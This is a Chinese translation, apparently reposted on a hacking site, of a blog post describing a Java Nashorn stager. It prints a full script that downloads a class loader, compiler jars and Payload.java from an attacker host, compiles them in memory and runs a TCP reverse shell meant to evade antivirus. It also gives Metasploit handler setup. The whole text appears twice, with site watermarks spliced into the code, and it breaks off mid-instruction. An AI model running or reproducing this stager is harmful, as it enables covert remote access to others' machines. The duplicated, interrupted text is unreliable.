Java传输器之无招胜有招
前段时间在网上读了一篇有关java传输器的博客Java Stager without the Stager。该文讲述了利用java的jjs组件和Nashorn引擎下载并执行payload,由于该利用程序不含恶意代码因此免疫大部分杀软的查杀,又由于payload在内存中编译执行,许多实时防御系统也无法检测到。现将该文翻译如下:
最近我一直在研究java,实际上,这是本月出的第三篇博客。
博客一这篇文章里我展示了一个java传输器,用它可以下载payload,在内存中编译它并执行。
博客二 这篇文章里我介绍了利用jjs(jre环境组件,自java8引入)在安装了java的设备上做一些坏事。它通过调用Nashorn引擎以javascript语法访问java对象。
在本文中,我将综合以上两种方法通过Nashorn在“无”java传输器的情况下传送payload。
缺陷分析
我们重新分析一下传输器的目标及特性:
传输器是上传到目标主机的一个执行文件或脚本。
传输器必须是正常代码以躲避杀软的粗暴分析。
传输器接着通过HTTP将实际payload下载到内存,这也是躲避杀软策略的方法。
这种“躲入内存”的方法来源于James Williams发布在油管的视频《英特网太热》(~……~)。这段视频被一家杀毒厂商以版权问题强制临时下架,这使视频一下火了。目前已有3万2千的播放量,比第二名多了3万。而第二名是一段今年BSides Manchester会议的视频。
Nashorn Payload
我用牛逼的Nashorn引擎实现了一个和Java传输器一样的TCP反弹SHELL。老版本可以在这里看到:https://github.com/cornerpirate/java-stager/blob/master/src/main/java/TCPReverseShell.java下面是使用Nashorn的新版本:
// 将这里改为攻击者主机地址
var host = "http:///";
// 通过HTTP加载NnClassLoader
load(host + "NnClassLoader.js");
// 使用NnClassLoader下载Janino和Apache的jar包
// Obtain these Jar files and stick them in your web root
var L = new NnClassLoader({ urls: [host + 'janino-3.0.8.jar', host + 'commons-compiler-3.0.8.jar']});
var P = L.type('org.codehaus.janino.SimpleCompiler');
var SimpleCompiler = L.type("org.codehaus.janino.SimpleCompiler");
// 引入我们要用的对象
var BufferedReader = Java.type("java.io.BufferedReader");
var InputStreamReader = Java.type("java.io.InputStreamReader");
var StringReader = Java.type("java.io.StringReader");
var StringBuffer = Java.type("java.lang.StringBuffer");
var Method = Java.type("java.lang.reflect.Method");
var URL = Java.type("java.net.URL");
var URLConnection = Java.type("java.net.URLConnection");
// 将java传输器版的Payload.java文件放在攻击者的web server上
// 由这段代码下载payload
var payloadServer = new URL(host + "Payload.java");
var yc = payloadServer.openConnection();
var ins = new BufferedReader(new InputStreamReader(yc.getInputStream()));
// 将代码读入内存中的字符串中
var inputLine;
var payloadCode = new StringBuffer();
while ((inputLine = ins.readLine()) != null) {
payloadCode.append(inputLine + "\n");
}
// 关闭输入流
ins.close();
print("[*] Downloaded payload");
// 用Janino编译
print("[*] Compiling ....");
var compiler = new SimpleCompiler();
compiler.cook(new StringReader(payloadCode.toString()));
var compiled = compiler.getClassLoader().loadClass("Payload") ;
// 通过反射机制执行run方法 print("[*] Executing ....");
var runMeth = compiled.getMethod("Run");
// 这种方式调用的是static型的run方法
runMeth.invoke(null);
print("[*] Payload, payloading ....");
但愿注解能够说清它的原理。大致过程是这样:
下载NnClassLoader.js库,它可以加载特定类。
下载必需的两个java库(janino,comons-compiler),内存编译时需要它们。
下载payload并放入内存。
在内存中编译。
用反射机制执行payload对象的run方法来触发payload
就和前面文章的过程一模一样。
准备攻击者服务器
攻击者的服务器根目录下需要反之以下文件:
1. NnClassLoader
2. janino-3.0.8.jar
3. commons-compiler-3.0.8-jar
4. Payload.java
接着你可以启动metasploit的multi/handler模块并把payload设置为”generic/shell_reverse_tcp”。
攻击目标主机
再次声明:这里只是以研究为目的的攻击。你要做的是将上述Nashorn代码拷贝并粘入目标机器的文本编辑器,接下来你要做的是:
前段时间在网上读了一篇有关java传输器的博客Java Stager without the Stager。该文讲述了利用java的jjs组件和Nashorn引擎下载并执行payload,由于该利用程序不含恶意代码因此免疫大部分杀软的查杀,又由于payload在内存中编译执行,许多实时防御系统也无法检测到。现将该文翻译如下:
最近我一直在研究java,实际上,这是本月出的第三篇博客。
博客一这篇文章里我展示了一个java传输器,用它可以下载payload,在内存中编译它并执行。
博客二 这篇文章里我介绍了利用jjs(jre环境组件,自java8引入)在安装了java的设备上做一些坏事。它通过调用Nashorn引擎以javascript语法访问java对象。
在本文中,我将综合以上两种方法通过Nashorn在“无”java传输器的情况下传送payload。
缺陷分析
我们重新分析一下传输器的目标及特性:
传输器是上传到目标主机的一个执行文件或脚本。
传输器必须是正常代码以躲避杀软的粗暴分析。
传输器接着通过HTTP将实际payload下载到内存,这也是躲避杀软策略的方法。
这种“躲入内存”的方法来源于James Williams发布在油管的视频《英特网太热》(~……~)。这段视频被一家杀毒厂商以版权问题强制临时下架,这使视频一下火了。目前已有3万2千的播放量,比第二名多了3万。而第二名是一段今年BSides Manchester会议的视频。 www.wnhack.com
Nashorn Payload
我用牛逼的Nashorn引擎实现了一个和Java传输器一样的TCP反弹SHELL。老版本可以在这里看到:https://github.com/cornerpirate/java-stager/blob/master/src/main/java/TCPReverseShell.java下面是使用Nashorn的新版本:
// 将这里改为攻击者主机地址
var host = "http:///";
// 通过HTTP加载NnClassLoader
load(host + "NnClassLoader.js");
// 使用NnClassLoader下载Janino和Apache的jar包
// Obtain these Jar files and stick them in your web root
var L = new NnClassLoader({ urls: [host + 'janino-3.0.8.jar', host + 'commons-compiler-3.0.8.jar']});
var P = L.type('org.codehaus.janino.SimpleCompiler');
var SimpleCompiler = L.type("org.codehaus.janino.SimpleCompiler");
// 引入我们要用的对象
var BufferedReader = Java.type("java.io.BufferedReader");
copyright 无奈人生
var InputStreamReader = Java.type("java.io.InputStreamReader");
var StringReader = Java.type("java.io.StringReader");
var StringBuffer = Java.type("java.lang.StringBuffer");
var Method = Java.type("java.lang.reflect.Method");
var URL = Java.type("java.net.URL");
var URLConnection = Java.type("java.net.URLConnection");
// 将java传输器版的Payload.java文件放在攻击者的web server上
// 由这段代码下载payload
var payloadServer = new URL(host + "Payload.java");
var yc = payloadServer.openConnection();
var ins = new BufferedReader(new InputStreamReader(yc.getInputStream()));
// 将代码读入内存中的字符串中
var inputLine;
var payloadCode = new StringBuffer(); 内容来自无奈安全网
while ((inputLine = ins.readLine()) != null) {
payloadCode.append(inputLine + "\n");
}
// 关闭输入流
ins.close();
print("[*] Downloaded payload");
// 用Janino编译
print("[*] Compiling ....");
var compiler = new SimpleCompiler();
compiler.cook(new StringReader(payloadCode.toString()));
var compiled = compiler.getClassLoader().loadClass("Payload") ;
// 通过反射机制执行run方法 print("[*] Executing ....");
var runMeth = compiled.getMethod("Run");
// 这种方式调用的是static型的run方法
runMeth.invoke(null);
print("[*] Payload, payloading ...."); 无奈人生安全网
但愿注解能够说清它的原理。大致过程是这样:
下载NnClassLoader.js库,它可以加载特定类。
下载必需的两个java库(janino,comons-compiler),内存编译时需要它们。
下载payload并放入内存。
在内存中编译。
用反射机制执行payload对象的run方法来触发payload
就和前面文章的过程一模一样。
准备攻击者服务器
攻击者的服务器根目录下需要反之以下文件:
1. NnClassLoader
2. janino-3.0.8.jar
3. commons-compiler-3.0.8-jar
4. Payload.java
接着你可以启动metasploit的multi/handler模块并把payload设置为”generic/shell_reverse_tcp”。
攻击目标主机
再次声明:这里只是以研究为目的的攻击。你要做的是将上述Nashorn代码拷贝并粘入目标机器的文本编辑器,接下来你要做的是:
本文来自无奈人生安全网
内容来自无奈安全网